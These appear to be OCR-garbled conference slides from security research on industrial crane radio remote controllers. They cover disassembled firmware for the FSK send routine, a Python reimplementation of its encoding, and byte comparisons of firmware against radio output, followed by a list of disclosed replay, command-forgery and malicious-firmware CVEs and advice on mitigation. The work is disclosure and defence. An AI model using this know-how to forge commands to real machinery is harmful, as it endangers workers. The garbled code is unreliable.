Differs from here

OK if lower RS is ||



ISR

 FOOOh = Entry point / NMI entry / main loop
e FAOOh=Timer_A
 FDOOh = Button ISR




TREND. resear-é(']
FSK (1) — Rotate and Send Ch |

#25h, 2Ah . P2DIR, Output = P2.0 (FSKDATA), P2.2 (RLED), P2.5 (POWER CTL)

e FSKDATA = P2.0 s o | b21ES, rising edoe

#0, 2Eh ; P2SEL

738 segOOO OOOOFAAZ next_bit

bit. #4, &mutex_228h ; Manchester. Either 01 or 10
740 : 0000 jnz manchester
741 : 000¢ bis. #4, &mutex_228h ; first bit of the Manchester
742 : 000OFAAC bit. #80h, 200h(R8) ;
743 'GOOQFABZ jz rotate_chunk_left
744 xor. #1, &29h ; P20UT, P2.0@ FSKDATA invert
745
746 2 rotate_chunk_left: ; Rotate 200..20D left
747 rla. 20Dh(R8)
748 : 0000 rlc. 20Ch(R8)
749 : Z rlc. 20Bh(
750 o rlc. 20AN(
751 :0 rlc.
752 : 0000 rlc.
753 rlc
754 : 0 ]OFAEZ rlc.
755 :0DOOFAES rlc.
756 : 0O0OFAEE rlc.
757 :OU@OFAF4 rlc.
758 :0 rlc.
759 : rlc 201h(R8)
760 Z rlc. 200h(R8)
761 ’ jnc loc_FB12
762 bis. #1, 20Dh(R8)
763 /
764 ¢ loc_FB12: ; CODE XREF: seg@00Q:0000FBOCAX]
765 2 . 22Ah ~
766 : Z j dec_counter
767 : 0000 ic. #2, mutex_228h ; not sending +

204h(R8)
203h(R8)
202h(R8)

CoCoCoOo oo ooOoooOo




<
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FSK (2) — Mismatch and Fix

42 def calc_send(s):
43 global pskdata, m228_2, m228_4, m22a

44 data = ''.join([('00000000' + bin(x)[2:]1)[-8:] for x in s])
:2 bits - ' )
DOWN Vee :; for El::: ::n?isziz?;skdata else '0’
Firmware: EE FO 00 OF 96 3C CC OF 96 96 00 OF 66 EE. [l Rt
Radio:  OF 05555027 41115027275550770F & n228.4 = True
52 m22a = 0x79 # 0x70 = 112
53 # next bit
54 if m228_4:
EAST Vcc ;55 #zggn:hfsze{
Firmware: EE FO 00 OF 96 3C CC OF 96 OF 00 OF CC EE 57 1 pskdata = not pskdata
58 else:
Radio: OF0555502741115027505550110F » # rotate_chunk_Left
61 Tf dc—ztaEejt '1':
62 pskdata = not pskdata
DOWN EAST Vcc 63 data = data[1:] + data[@]

220h =09 221h=00 222h=01 s if mza > o:
Data: EE FO 00 OF 96 3C CC OF 96 99 00 OF 5A EE o w2282 = False
Radio: OF 05 5550 27 41 11 50 27 22 55 50 63 OF -




Conclusion



Responsible Disclosure

e SAGA fixed the issue in November.

e ZDI-CAN-6187 ELCA P series replay attack (EOL)

« ZDI-CAN-6183 Autec air series replay attack (closed)
e ZDI-CAN-6185 CircuitDesign replay attack (closed)

e ZDI-18-1336 Juuko replay attack (no CVE)

e CVE-2018-17903 SAGA replay attack / command forgery (A0.10)
e CVE-2018-17935 Telecrane replay attack (00.0A)

e ZDI-18-1362 Juuko command forgery (Oday)

e CVE-2018-20783 SAGA malicious pairing (A0.10)

e CVE-2018-17923 SAGA malicious firmware upgrade (A0.10)




Conclusion & Mitigation(2) ="

Physical security
* Open chassis = mass erase

Key points:
» Protect your customers
» Not to prevent security researchers




Conclusion & Mitigation (2)

Firmware security

v' Blow up JTAG fuses

v' Mass erase if wrong BSL password
v" Avoid vulnerable BSL versions

v' Probe-sensitive circuits

Key points:
» Prevent firmware from being siphoned




Conclusion & Mitigation (3)

Radio security

Use standard protocols

Encrypt

Rolling code

Right design for emergency stop

Key points:
» Prevent script-kiddie attacks
» Learn from consumer products




Collaboration for win-win



